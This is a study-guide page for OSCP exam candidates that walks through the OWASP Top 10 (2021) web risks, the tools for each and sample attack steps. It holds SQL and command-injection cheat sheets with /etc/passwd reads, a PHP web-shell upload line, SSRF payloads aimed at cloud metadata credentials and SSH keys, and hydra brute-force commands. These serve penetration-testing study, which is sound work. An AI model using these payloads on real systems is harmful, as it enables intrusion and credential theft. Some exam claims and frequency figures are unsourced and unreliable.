Domain 2Web App AttacksCORE

OWASP Top 10 Overview

Comprehensive overview of the OWASP Top 10 web application security risks, their relevance to OSCP, and how each category maps to exploitable attack vectors tested in the examination.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#OWASP#Web Security#Vulnerability Categories#OSCP

OWASP Top 10 Overview

Introduction

The OWASP Top 10 is the standard awareness document for web application security, published by the Open Web Application Security Project (OWASP). It represents a broad consensus of the most critical security risks to web applications, based on prevalence, exploitability, and impact.

The 2021 edition marked a significant restructuring from the 2017 version, consolidating some categories and introducing new ones (notably SSRF as A10). Understanding the OWASP Top 10 is essential for OSCP because:

  • Every web-based machine on the OSCP exam involves at least one (usually multiple) OWASP Top 10 vulnerability class.
  • The exam objectives explicitly require proficiency in identifying and exploiting web vulnerabilities.
  • Many OSCP write-ups and methodology guides are organized around these categories.
  • The Pen-200 exam (OSCP’s successor) places even heavier emphasis on web application attacks.

Key Insight for OSCP: You don’t need to be an OWASP expert, but you must be able to recognize, exploit, and chain the most common categories. A01 (Broken Access Control), A03 (Injection), A05 (Security Misconfiguration), A07 (Authentication Failures), and A10 (SSRF) appear in the vast majority of OSCP web machines.


OWASP Top 10 (2021) — Full Breakdown

A01: Broken Access Control

What it is: Restrictions on what authenticated users are allowed to do are not properly enforced. This is the #1 risk in the 2021 edition, promoted from a sub-category in 2017.

Sub-categories:

  • IDOR (Insecure Direct Object Reference): Manipulating object identifiers (user IDs, file IDs, order numbers) to access other users’ data.
  • Privilege Escalation: Gaining access to admin-level functionality by modifying role parameters, JWT claims, or hidden form fields.
  • Forced Browsing: Accessing unlinked or undocumented URLs (/admin, /backup, /.git).
  • Canonicalization Issues: Bypassing path-based access controls using encoding tricks (/admin/../admin).

OSCP Relevance: ⭐⭐⭐⭐⭐ (Critical)

This is arguably the most frequently tested web vulnerability on OSCP. Nearly every web machine has at least one access control flaw.

Common OSCP Scenarios:

  • Changing user_id=1001 to user_id=1 in a URL or POST parameter reveals another user’s data.
  • Accessing /admin/dashboard without authentication (or with a low-privilege account).
  • Modifying a JWT token’s role claim from "user" to "admin".
  • Discovering hidden endpoints via directory brute-forcing (/backup.sql, /config.php.bak).

Tools to Master:

Tool Purpose
Burp Suite (Repeater/Intruder) Manual parameter tampering and automated ID enumeration
ffuf / dirb / gobuster Directory and file brute-forcing
jwt_tool JWT token manipulation and cracking
sqlmap Automated SQLi (often leads to access control bypass)

Detection Checklist:

  1. Map all authenticated endpoints and note which parameters reference objects.
  2. Try accessing the same endpoint as a different user (horizontal).
  3. Try accessing admin-only endpoints as a regular user (vertical).
  4. Brute-force numeric IDs sequentially.
  5. Check if deleting/modifying a parameter grants broader access.

Exploitation Approach:

# Step 1: Capture legitimate request in Burp
GET /api/users/1001/profile HTTP/1.1
Cookie: session=abc123

# Step 2: Send to Repeater, change ID
GET /api/users/1/profile HTTP/1.1
Cookie: session=abc123

# Step 3: If successful, automate with Intruder
# Payloads: 1, 2, 3, ... 100 (cluster attack on the ID parameter)

# Step 4: For directory discovery
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

A02: Cryptographic Failures

What it is: Sensitive data is exposed due to inadequate encryption, weak algorithms, hardcoded keys, or improper key management. Formerly “Sensitive Data Exposure” (2017).

Sub-categories:

  • Weak Algorithms: MD5, SHA1, DES, RC4 for data that requires strong protection.
  • Hardcoded Secrets: API keys, database passwords, or encryption keys embedded in source code.
  • Data in Transit: Sensitive data sent over HTTP instead of HTTPS.
  • Data at Rest: Databases, backups, or log files containing plaintext credentials.
  • Default/Weak Passwords: Systems shipped with default credentials that were never changed.

OSCP Relevance: ⭐⭐⭐⭐ (High)

Cryptographic failures are a stepping stone on most OSCP machines. Finding a hardcoded password in source code or a weakly encrypted database is a common path to initial access.

Common OSCP Scenarios:

  • Finding plaintext credentials in a .env file, config.php, or JavaScript source.
  • Discovering an MD5 hash that can be cracked with hashcat or john.
  • Finding a database dump with weakly hashed passwords.
  • Intercepting HTTP traffic that reveals session tokens or credentials.

Tools to Master:

Tool Purpose
hashcat GPU-accelerated password cracking
John the Ripper Password cracking (CPU-based, great for many hash types)
Burp Suite (Decoder) Decode Base64, URL, hex-encoded data
CyberChef Swiss Army knife for encoding/decoding/crypto
strings / grep Find hardcoded secrets in binaries and source code

Detection Checklist:

  1. Check all HTTP responses for sensitive data in plaintext.
  2. Look for .env, config.*, wp-config.php, web.config files.
  3. Search JavaScript files for API keys, tokens, or hardcoded credentials.
  4. Check if passwords are stored as reversible hashes (MD5, SHA1) vs. proper bcrypt/argon2.
  5. Look for SSL/TLS misconfigurations (self-signed certs, expired certs, HTTP-only endpoints).

Exploitation Approach:

# Step 1: Find a hash (e.g., from a database dump)
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hash.txt

# Step 2: Identify hash type
hash-identifier                    # Interactive hash identification

# Step 3: Crack with hashcat (MD5 = mode 0)
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# Step 4: Crack with John
john --format=MD5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Step 5: Use cracked credential to authenticate

A03: Injection

What it is: Untrusted data is sent to an interpreter as part of a command or query. This is the broadest and most impactful category, encompassing SQLi, command injection, LDAP injection, XXE, and more.

Sub-categories:

  • SQL Injection (SQLi): Most common injection type; manipulates database queries.
  • Command Injection (OS Command Injection): Injects OS commands into vulnerable applications.
  • LDAP Injection: Manipulates LDAP queries for authentication bypass or data extraction.
  • XML External Entity (XXE): Exploits XML parsers to read files or perform SSRF.
  • NoSQL Injection: Targets MongoDB and other NoSQL databases.
  • SSI Injection: Server-Side Includes injection in web server processing.

OSCP Relevance: ⭐⭐⭐⭐⭐ (Critical)

Injection is the #1 most tested vulnerability class on OSCP. SQLi and command injection alone account for a massive percentage of web-based initial access vectors.

Common OSCP Scenarios:

  • SQLi: ' OR 1=1-- on a login form bypasses authentication. Union-based SQLi extracts usernames and password hashes from the database.
  • Command Injection: ; cat /etc/passwd or | whoami appended to a ping/lookup parameter.
  • Blind SQLi: Time-based (SLEEP(5)) or boolean-based (AND 1=1) extraction when no output is visible.
  • XXE: Reading /etc/passwd or internal files via crafted XML payloads.

SQL Injection Cheat Sheet:

-- Authentication bypass
' OR '1'='1' --
' OR 1=1 --
admin' --

-- Union-based extraction
' UNION SELECT 1,2,3--
' UNION SELECT username,password,3 FROM users--

-- Blind boolean-based
' AND 1=1--    (true condition)
' AND 1=2--    (false condition)

-- Blind time-based
'; WAITFOR DELAY '0:0:5'--          (MSSQL)
'; SELECT SLEEP(5)--                (MySQL)
'; SELECT pg_sleep(5)--             (PostgreSQL)

-- Error-based (extract info from error messages)
' AND (SELECT * FROM (SELECT COUNT(*), CONCAT((SELECT version()), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

Command Injection Cheat Sheet:

# Operator variants
; ls -la              # Command separator
| cat /etc/passwd     # Pipe
&& id                 # AND operator
|| whoami             # OR operator
`id`                  # Backtick execution
$(whoami)             # Subshell execution

# Line break injection (for HTTP header/parameter injection)
%0a%0aid              # URL-encoded newline + command
\r\nid                # CRLF + command

# Filter bypass techniques
# If spaces are filtered:
${IFS}cat${IFS}/etc/passwd     # IFS variable
<cat</etc/passwd               # Redirect trick
cat</etc/passwd                # Redirect trick

# If semicolons are filtered:
| ls                        # Pipe
&& ls                       # AND
|| ls                       # OR
$(ls)                       # Subshell

Tools to Master:

Tool Purpose
sqlmap Automated SQLi detection and exploitation
Burp Suite (Repeater/Intruder) Manual injection testing
commix Automated OS command injection
xpwn MSSQL xp_cmdshell exploitation
sqlmap-gui GUI frontend for sqlmap

Detection Checklist:

  1. Test every input field, URL parameter, header, and cookie with injection payloads.
  2. Look for error messages that reveal database type or query structure.
  3. Test for time-based delays (blind injection indicator).
  4. Check if special characters (', ", ;, |, &, `) are reflected or cause errors.
  5. Use sqlmap for automated confirmation: sqlmap -u "http://target/page?id=1" --batch

Exploitation Approach (SQLi to Shell):

# Step 1: Detect SQLi
sqlmap -u "http://target/page?id=1" --batch --level=3 --risk=2

# Step 2: Enumerate database
sqlmap -u "http://target/page?id=1" --dbs --batch

# Step 3: Dump tables
sqlmap -u "http://target/page?id=1" -D target_db --tables --batch

# Step 4: Dump credentials
sqlmap -u "http://target/page?id=1" -D target_db -T users --dump --batch

# Step 5: If file write is possible, upload web shell
sqlmap -u "http://target/page?id=1" --os-shell --batch

A04: Insecure Design

What it is: Vulnerabilities caused by flaws in the application’s design and architecture, not just implementation bugs. These cannot be fully addressed by tools or processes alone.

Sub-categories:

  • Missing Function-Level Access Control: The application lacks proper authorization checks at the function level.
  • Business Logic Flaws: The application’s workflow can be manipulated (e.g., skipping payment steps, negative quantities).
  • Lack of Rate Limiting: No throttling on authentication, password reset, or API endpoints.
  • Insecure Workflow Design: Multi-step processes that can be bypassed or reordered.

OSCP Relevance: ⭐⭐⭐ (Medium)

While not always explicitly tested as a standalone category, insecure design flaws are embedded in many OSCP machines. Business logic flaws and missing rate limiting are common.

Common OSCP Scenarios:

  • Password reset flow that doesn’t validate the token properly.
  • Multi-step registration where skipping steps grants access.
  • Shopping cart with negative quantities leading to credit.
  • API endpoints without rate limiting allowing brute-force attacks.

Detection Checklist:

  1. Map the complete application workflow step by step.
  2. Try to skip steps, reorder steps, or repeat steps.
  3. Test boundary conditions (negative numbers, zero, maximum values).
  4. Check if rate limiting exists on login, registration, and password reset.
  5. Look for functionality that works differently based on the path taken to reach it.

A05: Security Misconfiguration

What it is: The application is deployed with insecure default settings, incomplete configurations, open cloud storage, verbose error messages, or unnecessary features enabled.

Sub-categories:

  • Default Credentials: Systems using factory-default usernames and passwords.
  • Verbose Error Messages: Stack traces, database errors, or debug information exposed to users.
  • Unnecessary HTTP Methods: TRACE, DELETE, PUT enabled when not needed.
  • Directory Listing: Web server configured to list directory contents.
  • Exposed Admin Interfaces: /phpmyadmin, /wp-admin, /admin accessible without protection.
  • Missing Security Headers: No CSP, HSTS, X-Frame-Options, etc.
  • Cloud Storage Misconfiguration: Public S3 buckets, exposed Azure Blob Storage.

OSCP Relevance: ⭐⭐⭐⭐⭐ (Critical)

Security misconfiguration is extremely common on OSCP machines. Default credentials, exposed admin panels, and verbose errors are among the most frequent initial footholds.

Common OSCP Scenarios:

  • phpMyAdmin accessible at /phpmyadmin with default credentials (root:root).
  • WordPress admin panel at /wp-login.php with weak admin password.
  • Django debug page revealing database configuration and secret key.
  • Apache/Nginx directory listing revealing backup files (backup.sql, .git/).
  • Default credentials on services (admin:admin, admin:password, test:test).

Tools to Master:

Tool Purpose
ffuf / gobuster / dirb Directory and file brute-forcing
nikto Web server vulnerability scanner
whatweb Technology fingerprinting
nmap (scripts) Service detection and default credential checks
Burp Suite (Scanner) Automated misconfiguration detection

Detection Checklist:

  1. Run directory brute-forcing with multiple wordlists.
  2. Check HTTP response headers for server version info.
  3. Trigger errors intentionally and check for verbose output.
  4. Test common default credentials on all login forms.
  5. Check for exposed .git, .svn, .env, robots.txt, sitemap.xml.
  6. Use OPTIONS method to check allowed HTTP methods.

Exploitation Approach:

# Step 1: Directory brute-forcing
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .php,.bak,.sql,.txt,.zip,.tar.gz

# Step 2: Check HTTP methods
curl -X OPTIONS http://target/ -v

# Step 3: Nikto scan
nikto -h http://target/

# Step 4: Check for exposed version control
# If .git found:
git clone http://target/.git/ leaked_repo/

# Step 5: Try default credentials
# Common defaults: admin:admin, admin:password, root:toor, test:test

A06: Vulnerable and Outdated Components

What it is: Using components (libraries, frameworks, plugins) with known vulnerabilities. This includes outdated CMS plugins, web frameworks, and third-party dependencies.

Sub-categories:

  • Outdated CMS: WordPress, Joomla, Drupal with known vulnerable versions.
  • Vulnerable Plugins/Themes: Third-party extensions with unpatched CVEs.
  • Legacy Frameworks: Old versions of Struts, Log4j, Spring, etc.
  • Dependency Confusion: Attacker publishes a package with the same name to a public repository.

OSCP Relevance: ⭐⭐⭐⭐ (High)

Many OSCP machines run deliberately outdated software with known exploits. Recognizing the software version and finding a matching exploit is a core OSCP skill.

Common OSCP Scenarios:

  • WordPress 4.x with a known RCE plugin exploit.
  • Apache Struts with CVE-2017-5638 (RCE).
  • Log4j (CVE-2021-44228) on a Java application.
  • Joomla with a known SQLi or RCE vulnerability.
  • phpMyAdmin with an authentication bypass.

Tools to Master:

Tool Purpose
whatweb / Wappalyzer Identify web technologies and versions
searchsploit / ExploitDB Find exploits for identified software
nmap (vuln scripts) Detect known vulnerabilities
WPScan WordPress-specific vulnerability scanner
joomscan Joomla-specific vulnerability scanner

Detection Checklist:

  1. Identify all technologies running on the target (CMS, framework, server).
  2. Determine exact versions from response headers, page source, or error messages.
  3. Search ExploitDB for known vulnerabilities matching the version.
  4. Check for vulnerable plugins, themes, or modules.
  5. Look for fingerprint strings in JavaScript files, CSS, or API responses.

Exploitation Approach:

# Step 1: Identify technology
whatweb http://target/

# Step 2: Search for exploits
searchsploit WordPress 4.9
searchsploit Apache Struts 2.5

# Step 3: Copy exploit to working directory
searchsploit -m php/remote/exploit_id.txt

# Step 4: Review and adapt the exploit
# Modify target IP, port, and any other parameters

# Step 5: Execute the exploit
python exploit.py --target http://target/

A07: Identification and Authentication Failures

What it is: Authentication and session management functionalities are exploited. Includes credential stuffing, weak passwords, broken multi-factor authentication, and exposed session tokens.

Sub-categories:

  • Credential Stuffing: Using leaked credentials from other breaches.
  • Weak/Default Passwords: Predictable or commonly used passwords.
  • Broken Brute Force Protection: No rate limiting or account lockout.
  • Session Fixation: Attacker sets a known session ID before the victim logs in.
  • Insecure Password Recovery: Predictable or weak password reset tokens.
  • MFA Bypass: Multi-factor authentication can be circumvented.

OSCP Relevance: ⭐⭐⭐⭐⭐ (Critical)

Authentication failures are a primary attack vector on OSCP. Weak passwords, brute-forceable login forms, and broken session management appear constantly.

Common OSCP Scenarios:

  • Login form with no rate limiting → brute-force with hydra or burp.
  • Password reset token that is predictable (sequential, timestamp-based).
  • Session cookie that doesn’t change after login (session fixation).
  • API endpoint that accepts credentials in the URL or as JSON without proper validation.
  • JWT with alg: none algorithm or weak secret.

Tools to Master:

Tool Purpose
hydra Online password brute-forcing
Burp Suite (Intruder) Custom brute-force attacks
jwt_tool JWT manipulation and cracking
medusa Alternative brute-force tool
curl Manual API authentication testing

Detection Checklist:

  1. Test login forms for rate limiting (try 5-10 failed attempts).
  2. Check if session cookies change after authentication.
  3. Test password reset flow for predictable tokens.
  4. Check if credentials can be sent via different methods (POST body, URL params, headers).
  5. Look for JWT tokens and check the algorithm and claims.

Exploitation Approach:

# Step 1: Brute-force with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=invalid"

# Step 2: Brute-force with Burp Intruder
# - Capture login request
# - Send to Intruder
# - Set position on password field
# - Load wordlist
# - Look for different response length/status code

# Step 3: JWT attack (alg:none)
# Modify JWT header to: {"alg":"none","typ":"JWT"}
# Remove signature
# Send modified token

# Step 4: JWT brute-force
python3 jwt_tool.py -T eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -d /usr/share/wordlists/rockyou.txt

A08: Software and Data Integrity Failures

What it is: Code and infrastructure are not properly protected against integrity violation. Includes insecure deserialization, unsafe uploads, and CI/CD pipeline compromise.

Sub-categories:

  • Insecure Deserialization: Processing untrusted serialized data (Java, PHP, Python pickle, .NET).
  • Unsafe File Upload: Uploading malicious files (web shells, executables).
  • CI/CD Pipeline Compromise: Compromising build pipelines to inject malicious code.
  • Over-Reliance on Third-Party Components: Supply chain attacks.

OSCP Relevance: ⭐⭐⭐⭐ (High)

Insecure deserialization and unsafe file uploads are frequently tested on OSCP. File upload vulnerabilities in particular are a common path to web shell deployment and RCE.

Common OSCP Scenarios:

  • File upload form that doesn’t validate file type → upload PHP web shell.
  • PHP deserialization gadget chain leading to RCE.
  • Java deserialization via ysoserial payloads.
  • Upload with extension filtering that can be bypassed (.php.jpg, .pHp, .php5).

Tools to Master:

Tool Purpose
Burp Suite (Repeater) Modify uploaded file content and headers
ysoserial Java deserialization payloads
PHPGGC PHP gadget chain generator
webshell scripts Pre-made web shells (PHP, ASP, JSP)
curl / netcat Interact with deployed web shells

File Upload Bypass Techniques:

# Extension bypasses
shell.php.jpg       # Double extension
shell.pHp           # Case variation
shell.php5          # Alternative extension
shell.php:.jpg      # Null byte (URL encoded: %00)
shell.phP           # Mixed case

# Content-Type bypass
Content-Type: image/jpeg    # While uploading .php file

# Magic byte bypass
# Add GIF89a header before PHP code
GIF89a<?php system($_GET['cmd']); ?>

# .htaccess bypass
# Upload .htaccess with: AddType application/x-httpd-php .jpg
# Then upload shell.jpg

A09: Security Logging and Monitoring Failures

What it is: Insufficient logging, monitoring, and effective response to incidents. Attacks go undetected because the application doesn’t log security events properly.

Sub-categories:

  • Insufficient Logging: Critical events not logged at all.
  • Inadequate Monitoring: Logs generated but not monitored or analyzed.
  • Delayed Incident Response: Alerts generated but response is too slow.
  • Log Tampering: Attackers can modify or delete logs.

OSCP Relevance: ⭐⭐ (Low-Medium)

This category is rarely directly tested on OSCP. However, understanding logging is useful for:

  • Covering tracks during post-exploitation (not required for OSCP but good practice).
  • Understanding what the attacker might see in log files during enumeration.
  • Recognizing when log files contain sensitive information (credentials, tokens).

Detection Checklist:

  1. Check if login attempts (successful and failed) are logged.
  2. Check if file access and modification events are logged.
  3. Look for log files that might contain sensitive data.
  4. Check if log files are accessible via the web (/logs/, /var/log/).

A10: Server-Side Request Forgery (SSRF)

What it is: The server is tricked into making HTTP requests to an unintended location, often within the internal network. SSRF was newly added as a top-level category in 2021.

Sub-categories:

  • Direct SSRF: URL parameter directly controls the server’s request destination.
  • Blind SSRF: No response returned, but the request is made (use OOB techniques).
  • Cloud Metadata Access: Accessing cloud instance metadata (AWS, Azure, GCP).
  • Internal Network Scanning: Using SSRF to discover and interact with internal services.

OSCP Relevance: ⭐⭐⭐⭐ (High)

SSRF appears on many OSCP machines, especially those with cloud-themed or multi-tier architectures. It’s a powerful pivot technique for accessing internal services.

Common OSCP Scenarios:

  • URL import feature (?url=http://...) that fetches and displays external content.
  • Webhook configuration page that makes requests to user-specified URLs.
  • Image upload via URL that fetches the image server-side.
  • Accessing http://169.254.169.254/latest/meta-data/ to retrieve cloud credentials.
  • Using file:// protocol to read local files.

SSRF Payload Cheat Sheet:

# Localhost access
http://127.0.0.1:8080/
http://localhost:8080/
http://[::1]:8080/

# IP encoding bypasses
http://0x7f000001:8080/          # Hex
http://2130706433:8080/          # Decimal
http://127.1/                    # Shortened
http://0177.0.0.1/               # Octal

# Cloud metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/    # AWS
http://169.254.169.254/metadata/instance?api-version=2021-02-01     # Azure
http://metadata.google.internal/computeMetadata/v1/                  # GCP

# File protocol
file:///etc/passwd
file:///root/.ssh/id_rsa

# Gopher protocol (for interacting with services)
gopher://127.0.0.1:6379/_INFO
gopher://127.0.0.1:21/_USER%20attacker

Tools to Master:

Tool Purpose
Burp Suite (Repeater) Manual SSRF testing
curl Verify SSRF from outside
SSRF testing scripts Automated SSRF detection
DNS rebinding tools Bypass hostname-based filters

Detection Checklist:

  1. Find any feature that fetches external URLs (import, webhook, image by URL).
  2. Test with http://127.0.0.1/ and http://localhost/.
  3. Test with file:///etc/passwd.
  4. Test with cloud metadata URLs.
  5. Check for DNS rebinding possibilities.
  6. Test different URL encoding techniques to bypass filters.

OSCP Exam Frequency Mapping

The following table ranks OWASP Top 10 categories by their observed frequency on OSCP exam machines, based on community write-ups and exam reports:

Rank OWASP Category OSCP Frequency Typical Machines Key Skills Required
1 A01 Broken Access Control ~85% of web machines Almost all IDOR testing, privilege escalation, JWT manipulation
2 A03 Injection (SQLi, Cmdi) ~80% of web machines Almost all sqlmap, manual SQLi, command injection operators
3 A05 Security Misconfiguration ~75% of web machines Most Directory brute-forcing, default creds, error analysis
4 A07 Authentication Failures ~70% of web machines Most Brute-forcing, session analysis, password cracking
5 A10 SSRF ~40% of web machines Many URL manipulation, cloud metadata, protocol abuse
6 A06 Vulnerable Components ~35% of web machines Many Version fingerprinting, exploit search, exploit adaptation
7 A02 Cryptographic Failures ~30% of web machines Several Hash cracking, encoding/decoding, secret discovery
8 A08 Integrity Failures ~25% of web machines Several File upload bypass, deserialization basics
9 A04 Insecure Design ~20% of web machines Some Workflow analysis, logic testing
10 A09 Logging Failures ~5% of web machines Rare Log file analysis, information gathering

Exam Strategy: Focus 80% of your web prep on the top 5 categories (A01, A03, A05, A07, A10). These will give you the highest return on investment for exam preparation.


Practical Lab Scenarios

Scenario 1: IDOR to Admin Access (A01 + A07)

Setup: A web application with user accounts. Each user has a profile page at /profile?id=USER_ID.

Attack Path:

  1. Log in as a regular user (e.g., id=1001).
  2. Change id parameter to 1, 2, 3… to find admin accounts.
  3. Discover admin account at id=1.
  4. Use discovered admin credentials to log in directly.
  5. Access admin panel for further exploitation.

Practice: PortSwigger Academy — Access Control Labs

Scenario 2: SQLi to Remote Shell (A03)

Setup: A product search page with a vulnerable category parameter.

Attack Path:

  1. Test for SQLi: category=1' → error message reveals MySQL.
  2. Confirm with: category=1' AND 1=1-- vs category=1' AND 1=2--.
  3. Use UNION-based SQLi to extract database schema.
  4. Dump users table to get credentials.
  5. If FILE privilege exists, write a PHP web shell.
  6. Access web shell for RCE.

Practice: PortSwigger Academy — SQL Injection Labs, DVWA SQLi

Scenario 3: Misconfiguration to Foothold (A05 + A06)

Setup: A web server with exposed admin panel and outdated CMS.

Attack Path:

  1. Directory brute-forcing reveals /phpmyadmin/.
  2. Default credentials root:root work.
  3. Dump database for application credentials.
  4. Alternatively: identify WordPress 4.9.8 → searchsploit → RCE exploit.
  5. Gain initial shell.

Practice: PortSwigger Academy — Authentication Labs, HackTheBox easy machines

Scenario 4: SSRF to Internal Access (A10)

Setup: A URL import feature on a public-facing web app.

Attack Path:

  1. Test with http://127.0.0.1:8080/ → internal service responds.
  2. Enumerate internal services: try common ports (8080, 3000, 5000, 8443).
  3. Discover internal admin panel at http://127.0.0.1:8080/admin.
  4. Use SSRF to interact with the admin panel.
  5. Alternatively: access cloud metadata for credentials.

Practice: PortSwigger Academy — SSRF Labs


Practice Resources

PortSwigger Web Security Academy (Free)

The best free resource for OWASP Top 10 practice. Each category has dedicated labs:

Category PortSwigger Labs
A01 Broken Access Control Access Control Labs
A02 Cryptographic Failures Cryptographic Failures Labs
A03 Injection SQL Injection Labs, Command Injection Labs
A05 Security Misconfiguration Security Misconfiguration Labs
A07 Authentication Failures Authentication Labs
A08 Integrity Failures File Upload Labs
A10 SSRF SSRF Labs

Additional Practice Platforms

Platform Focus Cost
DVWA (Damn Vulnerable Web App) All OWASP categories, local setup Free
bWAPP 100+ vulnerabilities, local setup Free
WebGoat OWASP-focused, guided lessons Free
HackTheBox Realistic machines, web focus Free/Paid
TryHackMe Guided rooms, beginner-friendly Free/Paid
PentesterLab Web-focused exercises Paid
OSCP Practice Labs Proving Grounds Practice Paid

Essential Tools Summary

Category Primary Tools Secondary Tools
Recon Burp Suite, ffuf, nikto, whatweb nmap, dirb, gobuster
SQLi sqlmap, Burp Repeater manual testing, sqlmap-gui
Command Injection Burp Repeater, commix manual testing
Brute Force hydra, Burp Intruder medusa, curl
Password Cracking hashcat, John the Ripper online crackers (hashes.org)
SSRF Burp Repeater, curl custom scripts
File Upload Burp Repeater, custom shells Burp Intruder
JWT jwt_tool, jwt-cracker CyberChef, manual editing
Deserialization ysoserial, PHPGGC custom scripts

OSCP Exam Tips for OWASP Categories

What to Know

  • A01: Always test IDOR on every parameter that references an object. Always try accessing admin endpoints.
  • A03: Know the difference between error-based, union-based, blind boolean, and blind time-based SQLi. Know command injection operators.
  • A05: Always brute-force directories. Always try default credentials. Always check for exposed .git, .env, and backup files.
  • A07: Always test for brute-force. Always check session behavior. Always try JWT attacks.
  • A10: Always test URL parameters with localhost and metadata URLs.

What to Practice

  1. Manual SQLi before relying on sqlmap — the exam may have WAFs or filters that sqlmap triggers.
  2. Burp Suite workflow — you will use Burp for every web machine. Know Repeater, Intruder, and Decoder cold.
  3. Directory brute-forcing with multiple wordlists — this is the fastest way to find hidden endpoints.
  4. Password cracking with hashcat and John — you will encounter hashes on almost every machine.
  5. Web shell deployment — know how to upload and access PHP, ASP, and JSP shells.

What Tools to Master

  1. Burp Suite Professional (or Community) — your primary web attack tool.
  2. sqlmap — for automated SQLi exploitation.
  3. ffuf — for fast directory and parameter brute-forcing.
  4. hashcat — for password cracking.
  5. searchsploit — for finding exploits for identified software.

Summary

The OWASP Top 10 provides the framework for understanding web application vulnerabilities. For OSCP specifically:

  • Master A01, A03, A05, A07, and A10 — these cover 80%+ of web attack scenarios on the exam.
  • Practice manually — tools are helpful, but understanding the underlying mechanics is what separates successful candidates.
  • Chain vulnerabilities — most OSCP machines require chaining 2-3 vulnerabilities (e.g., SQLi → credentials → SSH access → privilege escalation).
  • Document everything — the OSCP report requires detailed documentation of each vulnerability found and exploited.

The OWASP Top 10 is not just a checklist — it’s a methodology for systematic web application testing. Internalize these categories, and you’ll have a structured approach to every web machine on the exam.